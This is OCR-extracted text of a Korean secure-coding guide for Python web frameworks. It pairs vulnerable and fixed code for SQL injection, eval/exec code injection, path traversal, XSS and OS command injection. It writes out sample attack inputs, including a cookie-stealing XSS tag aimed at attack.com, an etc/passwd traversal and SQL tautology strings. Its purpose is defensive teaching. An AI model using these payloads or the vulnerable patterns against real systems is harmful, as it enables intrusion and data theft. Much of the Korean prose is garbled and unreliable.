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* £X : VERACODE - Secure Development Survey: Developer's Respond To Application Security Trends (2021)
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D273 AU et 45 =2 E= FXHet AF, HI0HY ZRE JAMAE, LR =2 AHA
A SO Qlef WAEI= HOIPKOR SQL 1Y), IRAAO|E SE0s9) 59l 2% R 4 2
1. SOL &
7L e
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— ol HH
. — EE—
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__ ‘or' 1=1 Admin ‘-
‘having 1=1- - union select
SZME
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PART XI2& AIRO0=ZE JHOI= | M L=CIOIE 2SS 2 H

re

IOAMOflAM = ClIO|E{H|O| A0 AMIA AMSEl= CHYSH MO RE7t0] URHYS &2{st7| {lo DB-APIE
HoI5tar UL 2t CO|E{H|O|ADICE 2| DB 2ES OI&3H H|O|E{H|O] A0 AMASHA EICt. DB-API 20i|%,
IO M0jlA= Django, SQLAIchemy, StormS2| ORM(Object Relational Mapping)S AF25t0{ H|0|E
HIO| A0 UMASH £ ULCH.

IO[MOIAM X|25k= CHYSH ORMES 0] &510] HLt QHMGHA DBE AI8E = UXIT AR =F6H 2249
H2Z Y 022, dsKst 52 0|/= 21 Al SQL A3l0| BT A7t ULt ORM LAl fA| H2IE

AMEots B2 ASER H2 2/F YHAUCE s SOL &Y 40| Y + U,

Lt. orst 2gy|y
DB API AIg Al QIXISHE! H2P)S Sal 2 2US BIRISIGHN AISSIZ SQL Y BHORRE| OXs
258 4 rk

IHO[MOfl A E0| AFE &= ORM Q2 2= Django?| querySets, SQLAIchemy, StormS0| ULt
ORM Z|TE 7|2x0z DE H2|20| QIXISHE HRI2S AIBSIDZ SQL A SHOZEE OFHsit,
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7h) DB API AL Of|H|

CH22 MySQL, PostgreSQLS| DB APIE AtEsl =t &0t X2| of= QUHGHK| 22 ZE GAICE
Qe AHZS U B0} B namellt content_id| &E5tl(line 8-9), 0| namel} content_id {0l CHSH
HEo| AZ 20| HIRQ QX ZUCE Ar8sot= U 2XtE ZElS Sl H2IE Mot UCkline 12-15).
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1:  from django.shortcuts import render

2. from django.db import connection

3:

4: def update_board(request):

B cosoes

6: dbconn = connection

7:

8: with dbconn.cursor() as curs:

9: # QR2RE LR S 43S Sl0| MEY E QS| Pt
10: name = request.POST.get(name’, ")

11: content_id = request.POST.get(content_id', ")

12:

13: # ARZAe] ASEA| 22 YEiES ABd & el dd
14: sgl_query = "update board set name=" + name + " where content_id="* + content_id + ""
16:

16: # 2F U0 435 glo] FH22 ET0] QHMoRX| ATt

17: curs.execute(sql_query)

18: dbconn.commit()

1€
20: return render(request, '/success.html’)

OS2 0|2 QMG FEZ HEISH GIAIS 200t MM Ofl|Qt 22| Q2 g Qf Qs 2
tatEl #H2| MM Z(line 11) execute() HAMEL| F Iy QIX} 2t Q
FH2Z2S HEisHline 15). O|EA| DH7HEH= HIRQIZS Sdll execute()
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1:  from django.shortcuts import render

2. from django.db import connection

3:

4: def update_board(request):

B oooonc

6: dbconn = connection

7:

8: with dbconn.cursor() as curs:

9: name = request.POST.get(name’, ")

10: content_id = request.POST.get(content_id', ")

11:

12: # 22 Uy ZAMO=HEH otMet QlRtete HEE AT

13: sql_query = 'update board set name=%s where content_id=%s'
14:

(155 # AR UHAU0| QUXtEtE H2lof HIRIE = AdlEB= OHdsiTt.
16: curs.execute(sqgl_query, (name, content_id))

17: dbconn.commit()

18:

19: return render(request, '/success.html’)

SQLite DB API AtE A0 SUotA X2l HE|Z2S AMHM Ydotil ALEAT Y= Hieldohs WS
4

=5
=

HMoH0F St SQLiteMAM = ClIXtsHE H2|E THE7| ol “?”E PlaceholderZ At&st7LE “:name” X

Named Placeholderg AtEst= W 27IXE HE 7}solCt.

L) ORM ALE OilH|

Diango®| querysets= #2| QIXI3IS AIGH MRS T4517| TH20) SQL Y BHOBEE QHMSIL
S0/t Al SQL I AFBR FO| SQLS MBS ZROIE A U222 QIXIEIE H2lol Hely w2
AM5IE =L}

Of2i= Djangol| #A| SQLE At&3dl= MAIE 20 FL}. Django?l ORM I2||T= Al SQL #HEIE
+85t7| floll Manager.raw() 7|52 MBS QAEZEE S 9 AHZH(ine 6)2 HEIE MM

N ZEOZ M3 H2ES 7ot UCi(line 11).
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—

from django.shortcuts import render

2. from app.models import Member

3

4: def member_search(request):

55 name = request.POST.get(name’, ")

6

7 # US43 Q10| H2lZ MHE0 ALZdH QHMoRK| gLot

8 query="“select * from member where name=" + name + “~
9:

10: # A d2zs A4S ol0] A8t HZ2E raw(Es=E Mot QIHGHK| 4Tt
11: data = Member.objects.raw(query)

12: return render(request, '/member_list.nhtml', {member_list":data})

| 4

Ci2 FEOAE DjangodiiAl #IAl T A% AOIE QIXISHE H2I9t params 2142 raw() 34-0] HioIY
HA2 AISSIS QIXE OIAIS HOT ELL QR QAS TSI H2ID MY KIS QIXIeHE H2| @Ao=
AHA
o

45t11(line 10), raw() HIAEOA 5 HI QIX{e| HIQIY H4Z ALESSHCE,

1: from django.shortcuts import render

2. from app.models import Member

3:

4: def member_search(request):

b name = request.POST.get(name’, ")

6:

VE # QR UHUS raw() B HY Al HIQIY W2 ALESI0 #H2| F£27t

8: # HADX| UEZE S} (list E2 %s, dictionary 2 %(key)sE AtR)

9: query='select * from member where name=%s'

10:

11: # QAXSHE H2|2S AIBOY raw() &S SEo AXSiCH

12: data = Member.objects.raw(query, [name])

13: return render(request, '/member list.html', {'member list":data})
| 4

12
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2t Xz
® CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection’), MITRE,
https://cwe.mitre.org/data/definitions/89.html

@ SQL Injection Prevention Cheat Sheet, OWASP
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

® Sqlite3 DB-API, Python, Python Software Foundation,
https://docs.python.org/ko/3/library/sqlite3.html

@ MySQL, Python Coding Examples, Oracle Corporation
https://dev.mysql.com/doc/connector-python/en/connector-python—examples.htm|

® Django QuerySet API reference, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/ref/models/querysets/

® Django Performing raw SQL queries, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/db/sql/

@ SQL Expression Language Tutorial, SQLAIchemy,
https://docs.sglalchemy.org/en/14/core/tutorial.html#using—textual—-sq|

13
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22 HF 0| ARE P BAKE oW TES 3 ok Tls UYS 9ot 20|zl 2C
27 Oiaky 9 52 U +E UCL OIS SO, BAK LIS 22 FIES YA PP 205 S

GIA) “compile(‘for x in range(1):\n import time\n time.sleep(20)’,’a’, single’)”

1:  from django.shortcuts import render
2:
3: def route(request):
4: # QAR0N LHLES US 2T 0| AHEotH QHFESHA| QiCt
55 message = request.POST.get(message’, ")
6:
E # 25 UHUS AT 8l0] eval &0l MY 4 otX| 22 FETL
8: # AdE & 0| ot
9: ret = eval(message)
10:
11: return render(request, '/success.html', {'data"ret})
y
22 st IERE Hetst ME 20 ZO. T Uzt Lol Z&HE (Mo TEE A = A=)
=4 21 58 LEY sle AR 23 TCE $716H3 TS HY 34 AMS §sHY 4 Lk OFY Zok
g H2 E AHIM(ine 4)2 eval() 42 QXL ZCE ALESHZ| HO| 2=7U0] Y20 RXITCE U
A=A E F(line 9) MBS St ALt
QHMSE AC OfA|
1: from django.shortcuts import render
2:
3: def route(request):
4: message = request.POST.get(message’, ")
[oF
6: # MEX UHE I, A2 HEHoHH, Brof izt Lo S+EAE ZEE o
7: # AS B2 Ol HIAXIE Biet SHtt
8: if message.isalnum():
9: ret = eval(message)
10: return render(request, '/success.html’, {'data"ret})
11:
12: return render(request, '/error.html’)
| 4

15
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oM Tefet String HIAES MSotil ULt HRe 22 HES HAES ALEsH AR A0 tist

HES THoloF STt Of2fl= MOIMO|A RiSot= A HSE String HALE KAE 20 EC

* strisalpha() : A€ W2l RE ZA7t LU0, M0= StLte| X7t ZXsks B2 TrueE it

e

* str.isdecimal() : 2AIE 2| 2= EAPt 4T EXI011, MO St 2X7t EXfch=s ER TrueS Higt

* strisdigit() : 2XIE LHO| BE ZXP7} £X10|1, ML SILte| A7 EXsHs A TrueE st

(o]
=
T BAL seE= | HA -i—XFQf Ze 2Kz T ex) 57 £ Trues

Yzt 3 Al A YOl SF BAS MR} si= PP FF BIAS 0183 HES ¥ 4+ ULt
TOPHOAE re 2I0IE212IZ ASSH BRI 78t ZZ0] s3Ik 012 SO, O/ SAIo| 2Bt 5igakn
de 7o Osi ze YA Agstw

ex) prog = re.compile(r'((A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z]|a-Z]{2,})+)

Lh) exec(&ls AtE OflH|

[IS2 exec() B4 AIGSH OHHAIA| 942 TE OINIS WO ZCh 9= YUYUS HF 20| exec B
QIRIZ MBI UCHline 9). OIZZ EIPt £ HOIE| 2F % MHo] 3t 2%, A =, MXI0] 2t

SAE EFZ2E 0|0{& £ ULt

# AAE HE E QIR0 Tt

exec({}0".format(function_name))

1:  from django.shortcuts import render

2:

3: def request_rest_api(request):

4. function_name = request.POST.get(function_name', ")
5}

6: # AZR0A MEL2 TS HSotK| f A

7: # AZZOZ “ import__(‘platform’).system()” S YU A
8:

9:

0:

1:

s

return render(request, '/success.html’)
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OE2 fl ZEE QXiohA| Beteh oMCt 24 QE=2EH Q2 82 ZAE WROAM ZAE 20|28
0|E0| AHHO| Holot SH0|ERAEN ZESIE|=X| &Qlotl, 2AEN Sl= ZLAU ol HO|X|E gretetrt.
1: from django.shortcuts import render
2:
3: WHITE_LIST = [get_friends_list', 'get_address', 'get_phone_number]
4:
5. def request_rest_api(request):
6: function_name = request.POST.get('function_name’, ")
7:
8: # A8 Jtset 28 S0IERAE Z& U9 = Aot
9: if function_name in WHITE_LIST:
10: exec({}()".format(function_name))
11: return render(request, '/success.html’)
12:
13: return render(request, /error.html’, {'error:'s{2EX| 2 &=QL|CLY

= A DN =
® CWE-94: Improper Control of Generation of Code (Code Injection’), MITRE,
https://cwe.mitre.org/data/definitions/94.html

@ CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (Eval Injection’), MITRE,
https://cwe.mitre.org/data/definitions/95.html

® Code Injection, OWASP,
https://owasp.org/www-community/attacks/Code_Injection

@ Python Built-in Functions — eval(), exec(), compile(), Python Software Foundation,
https://docs.python.org/3/library/functions.html#eval
https://docs.python.org/3/library/functions.html#exec
https://docs.python.org/3/library/functions.html#compile

® Python Built-in Types — isalnum(), Python Software Foundation,
https://docs.python.org/3/library/stdtypes.html

® Reqular expression operations, Python Software Foundation,
https://docs.python.org/3/library/re.html#module-re
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3_ %:IE }II‘ al II.% ALOI

=1 X [— =]
7t. L
me=pic.jap&path=data
ie=passwd&path=.../.../.../etc/
(| EEEEXeE
>

© NAH T ¥

HBER 22 oN UHUS Sof HY U AH S ALY XAWY, ANQ| BE S)of CEt 2 B2
N2 5183 22, U TXOR AAHO| BS5s K0 9ol2 HIE 4 QU HAINOIC, HREX

U KR OFHS OIS BARKS X AH-AM, NAY HEL-E, AAH X9 7 B2 QI8 A&
UAIZ 4 QUCh EF, 2 XA Y XY YUS SHM FHA} SISEA 2 e HSs

IO|*M0jlM= subprocess.popen()t Z0| TZMHAZ 0= &4, os.pipe()XE OIO|ZE Ol= &4,

socket ¢Z SOA 2 LHAUS AS S0 M8 32 E= =& F Al HYl9| FUH0| e + AUC.

Lt oFH

M
I

o

a3

YRBEE P2 UYS XYY, ANO| BE S)0| HHUXZ Aol ZS MU 452 NAES
o

StALE, ARHON| FolE 2| AE ZeHE AMBXIL AZSI=S SHOF ST, 53], 2/F2| 20| MAF FR0l=

LEE M3 Z==2(directory traversal) 32| A™0| U= A/, \, .. S)F HZ{3HOF SHCt.

Ct. SO
7 B2 XX ol

[ge oY YBCE MY ZE S8 YW LYS O NS 20| ECh BIof 3P
Lol ] Jetclpasswd 9 22 S LK MR Y L HAIS Hat 571 Tl L80| S20IIE

Z0 EAME =X B2 AMAH” PELE 27 LYottt



PART HI2Z AZOZE JIOIE | HNE AHIOIE 2SS L B |
OHHISIA| P2 TS OJA|
1: import os
2. from django.shortcuts import render
3:
4: def get_info(request):
B # F UHUCEEH MUFS A gh=Ct
6: request_file = request.POST.get(request_file')
7: (filename, file_ext) = os.path.splitext(request_file)
8: file_ext = file_ext.lower()
9
10: if file_ext not in [.txt', ".csv]:
11: return render(request, ‘ferror.html’, {'error:'IIAS & £ AFLICLT)
12:
13: # UHUS 4Z Q0| I M2|of ALE3UCt
14: with open(request_file) as f:
155 data = f.read()
16:
17: return render(request, '/success.html’, {'data":data})
y
Qe AU FE & EXIE (/, \, .. )2 MAHst F Ol ZE M| AEstH ZEE HSHA
IS 3 ULCL replace & 0T re.sub, filter &S AL E4EXE ZHPE St= A 7HsSSICH
QHMSH TE OfA|

_\
QOOFITLHPRNN =

11:
12:
13:
14:
15:
16:
17:
18:
19:
21:
22:
23:

25:
26:
27:

import os
from django.shortcuts import render

def get_info(request):
request_file = request.POST.get(request_file’)
(filename, file_ext) = os.path.splitext(request_file)
file_ext = file_ext.lower()

# E YHUCE 2 MY 0|E2 ABSIH ALE
if file_ext not in [.txt', ".csv]:
return render(request, '/error.html’,

Sttt
{error'ms

=
o

# ot FoilM d= RA ZAES 2
filename = filename.replace(.’, ")
filename = filename. replace(/' ")

filename = filename.replace(\\', ")

Bit.

i}

try:
with open(filename + file_ext) as f:
data = f.read()

HA
=T

except:
return render(
request, "/error.htm!", {"error": "ItA0| Z=XHoIK| LHLL & %
)

return render(request, '/success.html’, {'data":data})

YEHCED)

H
HAL-

oL c}."}
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CIS2 QHHoHA| 2 IE OAZ, 2 YEE 2% ZE HSZ T2 AEst UC. F YHus
a3 0| MY dR 7IE AELe| S22 9=X| ¥2 o2/t 2y -~ AT

import socket
from django.shortcuts import render

1
2
8
4: def get_info(request):

55 port = int(request.POST.get('port))
6

7

8

with socket.socket(socket. AF_INET, socket.SOCK_STREAM) as s:
# AEEEH YER ASEX| 22 XE HSE 0|850]

9: # AZIS HIRIGSI0] ARG QU0 QEFSER| R4Ct

10: s.bind(('127.0.0.1', port))

11:

12: return render(request, '/success.html’)

13: return render(request, '/error.html’, {'error':'AZIHZ A1)

y
C22 Mgt MIE 20 ZCt LS X0l ™2 Al IR0 3 22 28 ZE HSQ Z2 AlEXE
Ot ARSI A2 BRSNS, T WS A9l 5] JISE S22 M & 25 o Zats
EEDH YYEEE IES X0} BT
QHMSH TE OfA|

1:  import socket

2. from django.shortcuts import render

3:

4:  ALLOW_PORT = [4000, 6000, 9000]

o8

6: def get_info(request):

7: port = int(request.POST.get(port))

8:

9: # A2 758t IE HSE Fl0|ERAE L9 XEZ |5t

10: if port not in ALLOW_PORT:

11: return render(request, 'ferror.html’, {'error''AZHZ Amj7)

12:

13: with socket.socket(socket. AF_INET, socket.SOCK_STREAM) as s:

14: s.bind(("127.0.0.1", port))

15 L.

16: return render(request, '/success.html’)

| 4

20
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2}, EuX=
® CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal’), MITRE,
https://cwe.mitre.org/data/definitions/22.html

@ CWE-99: Improper Control of Resource ldentifiers (Resource Injection’), MITRE,
https://cwe.mitre.org/data/definitions/99.html

® Path Traversal, OWASP,
https://owasp.org/www-community/attacks/Path_Traversal

@ Resource Injection, OWASP,
https://owasp.org/www-community/attacks/Resource_Injection

® File Uploads, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/http/file-uploads/

® HTML Helpers, Werkzeug,
https://werkzeug.palletsprojects.com/en/2.0.x/utils/#module-werkzeug.utils
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4. AZAAN0IE AJEE(XSS)
7L e

32 A3ZE: <img src="http://attack.com/dog.jpg?cookie="document.cookie>

HEZL ZEE @ ZAAIZEI ZHE
A A= Ho[X] 273

<
@ © 3323yEs Zatel

o A A NZ Ho|x| S5

AZAMO|E AFZE ZZ(Cross-site scripting Attacks)2 HAIO|E0| 24 FEE MRl 22 4
O|Ct 3ZXth= Y A SEEZTHO| ZES 0|85 AMIS(UYHINMOZ Z20|HE = JavaScript AHR)E

ArEXI0|IAH| EHEE XSSSZH2 YitX o=z OWEH 0| SAE XHELH ABAE =

FH

= =

XSS BHAVE # SBO2IUS 40 HASKOIN LB 2 U= HA| HOE(ED)S CI2 AIRK
Ol FZE O WMSICH BARDE YOI2 TNF VIR ¥ IE YU YIS CHRRE, B2 Ei

0|0 2HIXS 018 = AT ALZAPL & A0 2ot HIO|E E= MHOM S2H0|HE H(EHLRK)

M E HO|E7 XAt A ¢lo| AZBXOA HEAEEE 5i85F = 49 Lottt
XSSE&A0= A M 7HX| |ael SZYWHO| ULt
* 23 1 : Reflective XSS (or Non—-persistent XSS)
0
)
2ol 4 77| BHSHE
ASREE HAl|E0| F¢)
I AAO|E © ASAITL HALO|E WE Al

oy A3YETL NYE

O HAO|E L2Ho| MM 37|17t SHR0|A| HYH

22



- Reflective XSS= 34 ZEE ARBX| HTTP Q0| Mt &, diEd 34 Z=E MH SH LHE0|
JE A (Reflected)Al7 HEFR XA Malst= S247|H0ICt Reflective XSS 348 st H
AEXIZ 5tog SAX} BHE MHEZ HI0|EE EWHEZS SHoF Sict. 0] Y2 28 oMoz HZHEH
YIE MEAt SHoI=E |fkols UAS UG JAXN= TGHAIL F A4St AO|EE FXoh=

0>
o2

URLS Y2SiE QT5tn, TRt 332 Y2stH ATET} siXle| HRRXoA IS0
St H5E0] AL, Reflective XSS B2 H7{LIZ2 Z7§ HAIR, T|A(Phishing) OIHY, £5 UR
S M9} AR URLS ARBSICH

=

R

* 83 2 : Persistent XSS (or Stored XSS)

© AEXI7H Ao Y&t
E"'sI‘L oM1 = l:7|. |:b7| ;{E{I
Mo S5 <

»
»

v

© HAO|EE AL2Rt0A]

ofM ICE T3t HEX

ofd ACE Mg

O A7 HRRNE
ZEIX Lo ofd IES
FAEQI QLo ZhFsl AL MM

O AIgiel BIst vt 32 MHE HE

- Persistent XSS Mg 4 QUALL SIQIFX| Q4 AIRXF UB(ZE)0| AH{O XAED, 0| HIO|E 7}
CIE AISXS0AH MY E 0f 2MSHCE Persistent XSS= AAIZ L 2 = YEX 271 780N

Sl ZZXO| oY ZEHIRE CH2 ALRAIS0| E-E 4 QICh A4 0|Cjof
A O

M

= =
AOIE & 3|3 OFNM 23] 2 & U= At 20| SHHCZ HEAEl= Z2E HO[X|= Persistent

=
XSSQ| MEXMQI S Y J ofULt. SZX= Z=2T ¢ F0f| ofd AJEEES FY6H CIE ARG
™

- DOM XSS2 # H|O[X|0| U= AEAL YHAUS HESH Xelol7| ?Iet JavaScripte] #4F 242 Fa8t
ok= A= =HZ ot 34 AFEETL BalE oY URLS Solf MZECh= HEM Reflective XSSt
FARILILL = & UL U ME[S 4 = AO|ES| HTTP SHO HO|ZES Z&fot= il DOM
= M NN Z2E 80l HeteXet SEXMR sAS At HoM Xto|7H QUL
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Python AIZ0IZE Jt0I=

O a8t
el 2

7' N

© 238 2o UAHs
ot EXEE EEBIX S

SEE AExtolA TE

© 3F™WL Y AEE Zkots ZAHE URLS ALSA0IA Mg

A

O Argxtel nizts Mt 32K MHE H

O MExte| Hete M E S Hlo]E Lhe|
ol AT ES AsistT,
OI'A‘I A:IEIE = ]I{IOIXlO" APOI

O Aextel ‘:'Ef°11"
S210|HE EoflA] AlEl
Ho|x] Lhe] o E% 13

- S4X= DOM XSS 84 8ol M H 712l FEE Zetet 7| HI0|HE LAt AREIMAM SAXE
AMA”OR HEe + QIO 0] SEHE MEcH £ HAOIEY Xl 2Fs B 4+ ACH, TSRt

P MOIES Bi2| & 4 9= TRIX HBH0| QU P NS A2 ZAY L& UCH Tah, MY

~ IOPMOIIA 71 20| AFR3HT QU= Django TB|UT9 Flask THAT0IME 22t Django H=alut
Jinja2 BIZ3IS ALRE Al XSS 20| ABE 4 QU= Y& HTML SASS HTML S22 (HTML

=
Entities)Z X|5k= 7152 M3ote A0 T UM HMSsh= HEHS MBdh= E2? S A

QIF UMY E= FHUN AIZEI HYUHKX RSI=E ZXE X F+E MBS &O*/) 2
&amp; &lt; &gt; &quot; &#x27; &#x2F; &#x28; &#x29;2 X|&t6tHLt, html2t0|E 22|29 escape()S
ALEd EAES HEtGHOF oty HTML EH1E 5I83l0F oh= AATOME 518 HTML Ei1SS 3I0|E
SAEZ TS0 o EH1ZF X|ESH=S Sfr.

TIO[MMOIA 71 0| At25HE T URIF 21 Django, Flask S8 AI2sts AL E 2iZ0| 2tojxel
ATEETL MUTX| Rot== T UT XIHOIA XSS S0 AMEE £+ U= BEXE HTML E4EX

tCt.

ol

(HTML Entities)2 X265t ST HO|X|E MMotEE XSS SHACEEEH QI
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PART HI2& AIROIZE JH0I= | HITE LSOIOIE 2SS 2 HH

O AT AHOIM XSS SHLZRH Hodl = 7|S0| UHEE 2HOH| 2 = ULl JHEAL
oo

4R B57|S0| 728t He= 42/t JLER FOE J|=S0{0F it

C}. IE0)H|
7h) Django GilH|
Django ZAUYI= XSS 340 CHSt HOot7|SS W&ot JAXITH Q2l5HoF & Atgto] E 7HX| QUL

Django?| “safestring(django.utils.safestring)”2| 7|52 2% AL Djangoll XSS 40| gt 5

Y80 223t B 4 O

—

from django.shortcuts import render

from django.utils.safestring import mark_safe

def profile_link(request):
# o ZE S ¢l0] HTML Bl MAM9| QIXtZ At
profile_url = request.POST.get('profile_url’)

profile_name = requst.POST.get('profile_name’)

object_link = (a href="{}'M}{/a)".format(profile_url, profile_name)

# mark_safe@s= Django2| XSS escape HMZ L=X| L=Ct

2 ©@ @ = @ e B @ I

=
—

object_link = mark_safe(object_link)

—
N

return render(request, ‘'my_profile.html',{'obiect_link":object_link})

4
@

r&"
Io
Hu
N

= E =] “@/n “ » o W wny

Django Zef|3= "HEH 49 Al HTMLOIA 2

‘&) BF HTML QEE|Z X|& SHX|PF mark_safeS AMEE 4 0| HMS MEX| f=Ch OEEA
mark_safe &5 ASY ZR0= ZEet 7t Bl Mg 4 gl HIO[H tHaiAl= mark_safe
S AESHA| 2LO0t0F sttt
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from django.shortcuts import render

def profile_link(request):

# 9= UUS AF 20| HIML BT 440 IRZ Alg

1:
2:
3:
4:
oF profile_url = request.POST.get('profile_url’)
6: profile_name = requst.POST.get('profile_name’)
7:
8: object_link = (a href="{}'M}{/a)".format(profile_url, profile_name)
9: # A2/ & gl= HO[HO| CHohM= mark_safe Bf¢E ArZohd oF ECt
10:
11: return render(request, 'my_profile.html',{'object_link'":object_link})
| 4
CHS2 E CfE Django YT HES OHE HO| =Lt autoescape == A2 Al AHZUS off2
g 42 JHE H=0 oM safe ZEHE A 2 AZAANO0|E AFZE I40 =2 = Ot
QITSHA| %2 T OflA
1: (ldoctype html)
2: <{htmb
3 <{body)
4 {div class="content")
55 {% autoescape off %}
6 (I-- autoescape off2 M¥5IH i S=LHO| H|O|EE= XSS S0
7 LEE & A0 )
8 {{ content }}
9: {% endautoescape %}
10: </div)
11: {div class="content2")
12: (I-- safe TE| AFROZ XSS 20| === 4 UCt —-)
13: {{ content | safe }}
14: </div)
150 {/body)
16:  </html)
4
ME|E £ Qle Yt = SX H0|E0f| i5HAE autoescape M S onQE MX5HOF 5tH, safe
THE £50| oAl A8E ZR0= F7HHQl HOIHR0| HQ I



PART HI2& AMFOZE JI0I= | HNE 2LOHIOIE HS X B |

1: (ldoctype html)

2: <html)

3 {body)

4 {div class="content")

b {% autoescape on %}

6: (I--autoescape on2Z oI EELQ| G|0|El= XSS 240 =&KX %5, —)

7 {{ content }}

8 {% endautoescape %}

9: {/div)

10: {div class="content2")

11: (I-- ABEX| &2 HO|E0l= safe ZEIE AIZGHK| =L —-)

12: {{ content }}

13: {/div)

14: {/body)

160 {/html)

| 4

autoescape S22 A28 AL U2 FO|E J7|20{0F $IT}. autoescape SMZS of 2 AHsH HIES

HO|XIZ include = extendsot= HEXMA| Fe0| 2HHEL. SSHOZ MEdk= HEXH0|X|M off2

AYE 4 "HES H0|X|7 XSS 340 &2 4 AUCt
L) FlaskOlA2l Of |
ALEXI| Q0| ZeHE 7, DBO| MEE 2t E= LHEQ| HAE EohM MdE 742 Zest H0HE 85

HHO|X| Y0l ArEdt= B XSS SH0| T 7ts-d0| U0 PIHoILt. Ofef GiXl= Flask ZJHIE

ALEet QFHSHA| 2 ARIE 20 =0

from flask import Flask, request, render_template

1
2
3. @app.route('/search’, methods=[POST])

4:  def search():

55 search_keyword = request.form.get('search_keyword’)

6 # AEAS Y2 OtRH AT E= X2t 9l0] S& EH|O|X|0] Akgotn U0
7 # XSS 340| L4g + Ut

8

return render_template('search.html’, search_keyword=search_keyword)
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S 2 H0[X] MA0| ALB5H= CIOJEIS HTML YEJE| ZE (Entity Code)2 XIEI5I0] Q15
3Lt htmlescape HASE 2XIHS &, ( ¥ ) SALXS HTMLOIA X3 ZIOR BSISITE quote
8 20| TrueOlH 2R (92t ()F HHETE (a href="-0MHY GREZ TEE HTML 24

(attribute) 40| S0iZt ZXES Zae FR0T AT £ QAL

=
FH
rol
=(I)g
K=]

[

Iy

N

import html

from flask import Flask, request, render_template

@app.route('/search’, methods=['POST])
def search():
search_keyword = request.form.get('search_keyword’)
# =X YHO|X| &0 ArZ25E= Hl0|E=
# HTML QIEIE|ZEZ X|2tol0] HESIsH0f Sttt

escape_keyword = html.escape(search_keyword)

@ ® e F @ H @I

e
N

return render_template('search.html’, search_keyword=escape_keyword)

gt Xz

® CWE-=79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting), MITRE,
https://cwe.mitre.org/data/definitions/79.html

® Cross Site Scripting (XSS), OWASP,
https://owasp.org/www-community/attacks/xss/

® html — HyperText Markup Language support, Python Software Foundation,
https://docs.python.org/3/library/html.html

@ Flask Security Considerations Cross—Site Scripting (XSS), Flask docs,
https://flask—docs—kr.readthedocs.io/ko/latest/security.html

® Django Security in Django Cross site scripting (XSS) protection, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/security/
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PART HI2& AIROZE JI0IE | MITE SMIOIE HS 2 B
5. 2ZHH 30 &Y
7t e
http://xxx.com/company/guide/?cmd=dir C:¥ &file=guide.pdf
© 2YAH FHo7} MY 2
> ‘
1 < @
: © =zof % 2zt 2% "
I 34 4
|
- | Is cat etc/password dir set‘ T
UH A HS
o 2
HES AT EXE AXIX| E2 ALEAF YHL0| 2N BHOQ LR L= ME2 FIE0 M=
42, Qo] 2 AA” FHOTL Lz SX A Hot0| HAZ|L AA"” SE & 20 dFetS

SO 2elol mEtOjEU AEE 2 S 2R YHS AEdH AL BHNE 4d osl= Z=OYE EO|

o =

50K 4 QUCh 0] 39 T2 ANRLE e 92 2XES J|2HoR Nag 4+ 9| G2 HYs
A
n

THOPMOJ A eval() 242t exec() B+= LHROIM EXAES LSO H2ISIX|2, String Y40 HE
QA HIOF HIBISH= eval() Ei49t QI4Z HIS 2XIHS MAMSH= exec()S 20| AFRSIH 048] HAS0|

o
=
SNOE S Yo ME £ U0f BHO H(Command Injection) SZ0H| FFSICt.

HJIO

Zatoh=s 82 |, 5, & 5 ), « “(backtick), \, | 2 20| HE[2tI S

flgtoll QIXIZ 2t ALEE 4+~ UEF olioF

[ ]

| H
ottt QI 0| M=t BENE YdotHL HE10] Lot A0z SF0 Yol Bt US=

EIRNFSE

T ALRsHoF BHCt

S
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Ct. Z=O0i|H|
CtE OXMl= os.system= 0|2dl AR =2 W2 YHS Soff Z2IUS Ao, R0 MHE=

QIXIZE BHOQ M0 AZEICE SHX|T oY =0 Alie T2 S HSHSHK| 11 U7| HZ0|
Q9| SAX= otz BEE ZIHES AdY + UCL

1: import os

2. from django.shortcuts import render

3:

4: def execute_command(request):

55 app_name_string = request.POST.get(‘app_name',")

6: # = IOf2t0|EIS H|ekobX| S0t 2/ YHUCE HMEH

70 # RS HRO0| AT & US

8: 0s.system(app_name_string)

9: return render(request, '/success.html’)

QIEOIM YHUZ U0l BB QAUKNZE AEEX| 11 BEN I A= MEE BR0= A0 3H0|E
2|AE OfEt0H HiES Folet

% 9|sio| Q0] M2t XS Mt0|EIS MEASITE Bi0f, Qjso] HAms
Q20| WYOIZ ALBEIS 22 SXIsHoF Bit.

1 import os

2. from django.shortcuts import render

3:

4:  ALLOW_PROGRAM = [notepad', 'calc']

5%

6: def execute_command(request):

7: app_name_string = request.POST.get('app_name',")

8:

9: # Y=dh2 O2t0|E7 8E AIAE FHO SF0| ZHS=X A
10: if app_name_string not in ALLOW_PROGRAM:

11: return render(request, '/error.html’, {'error:'6|2EX| 42 TZ 7HILICE'D
12:

13: 0s.system(app_name_string)

14: return render(request, '/success.html’)
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Ct22 subprocess() &+E AL8dl HEo Z2MAR S8 Z2IUMS MHWdh= QHMSHK| 22 OIH|Ct
BE 2

QI YHAUCE Y2 Ot o AS S10| subprocess?| At g2 AFESAL LY.

—

import subprocess

from django.shortcuts import render

def execute_command(request):
date = request.POST.get(date',")

# Y= Oi2t0|EE Mietolk| 0f MEE 2= Z=T3M0[ dalE & U

gjo

cmd_str = “‘emd /c backuplog.bat ” + date

subprocess.run(cmd_str, shell=True)

return render(request, '/success.html’)

XA FEA A

o2

Alol= R0 SO= ol 25t ZERIRIS XISts E+2XK], 1, &, ¢,

\, DUt o 2ITHO|ME E2XK( ), )) )SS MHSIH HoHK| = 2FHH HHOPF 4Y¥E 5+ Y=

THIS At

BP0 IS 2 EMotL escape St 7SS MEots 2EQ shlex RES AMEd TEYS +Y
== ULt subprocess®| M 2t & shellS TrueZ MY FL S TZMA0| ofsh HHO| My T
0|5, AUETIE(), BEHs &Y 52 9 7|sS AT 8l0| HAsH =22 shell?| M2 AR[GHOF SiCt

(71222 False).
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1: import subprocess

2. from django.shortcuts import render

3:

4: def execute_command(request):

5: date = request.POST.get(date',")

6:

7: # JZOE Itz 4 = F 02 FH0| ddlE = U= FI/E0
8: # gt Of 2Ix2]

9: for word in [, 5, '&, ", ), ¢\ 1T

10: date = date.replace(word, )

11: # re.sub &S Aol SEAIE MHoks YHT Ut
